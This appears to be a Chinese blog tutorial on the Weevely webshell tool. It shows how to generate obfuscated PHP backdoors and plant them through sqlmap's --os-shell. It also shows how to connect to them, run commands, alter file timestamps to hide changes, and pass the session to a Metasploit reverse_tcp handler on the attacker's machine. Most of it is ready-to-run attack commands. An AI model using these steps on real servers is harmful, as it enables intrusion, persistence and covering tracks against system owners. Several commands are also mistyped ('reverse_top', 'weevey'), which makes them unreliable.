一、Weevely介绍
- Weevely是一款使用python编写的webshell工具,集webshell生成和连接于一身,采用c/s模式
构建,可以算作是linux下的一款php菜刀替代工具,具有很好的隐蔽性 - 在linux上使用时还是很好的,集服务器错误配置审计,后门放置,暴力破解,文件管理,资
源搜索,网络代理,命令执行,数据库操作,系统信息收集及端口扫描等功能 - 下载地址:https://github.com/epinna/weevely3
- 其他WebShell管理工具:中国菜刀、中国蚁剑、冰蝎(点我,去我之前的文章查看)
二、安装
Kali系统应该是集成了weevely,如果没有或者使用其他的Linux系统,自己安装一下就可以了。
#确保安装了 python 包管理器和 yaml 库
$ sudo apt-get install -y python3 python3-pip curl
$ cd weevely3/
$ sudo pip3 install -r requirements.txt --upgrade
三、命令
-
生成Shell
weevely generate <password> <文件名> //如: weevely generate 123456 shell.php
-
连接Shell
weevely <URL> <password> [cmd] //如 weevey http://xxxx.com/shell.php 123456
-
生成混淆Shell
weevely generate -obfuscator cleartext1_php <password> <文件名> //如: weevely generate -obfuscator cleartext1_php 123456 shell.php
1、使用weevely生成webshell文件,如文件名 shell.php,密码 123456
2、使用sqlmap的 --os-shell命令,拿到shell以及上传文件的后门地址
3、将weevely生成的shell.php文件上传,再使用weevely + url + 密码 进行连接
四、模块的使用
- 信息收集
:system_info //收集系统信息模块,如下 :system_info -info client_ip //查找自己连接IP
- 文件管理
:file_touch //修改文件时间模块,如下 :file_touch -human-ts '2022-04-20 20:30:21' 文件名
- 命令执行
:shell_php //执行PHP命令模块,如下 :shell_php system('ipconfig');
- 会话转移(Kali中很多工具和数据都是互通的)
//在终端1中,生成meterpreter会话 :backdoor_meterpreter -payload php/meterpreter/reverse_tcp -Ihost 本机IP -port 端口 //在终端2中,启动MSF,并设置监听会话,直到会话转移过来 service postgresq start //启动postgresql数据库 msfdb reinit //初始化msfdb msfdb start //启动msfdb msfconsole //启动msf use exploit multi/handler show paylaods set payload php/meterpreter/reverse_top show options set Ihost 本机IP run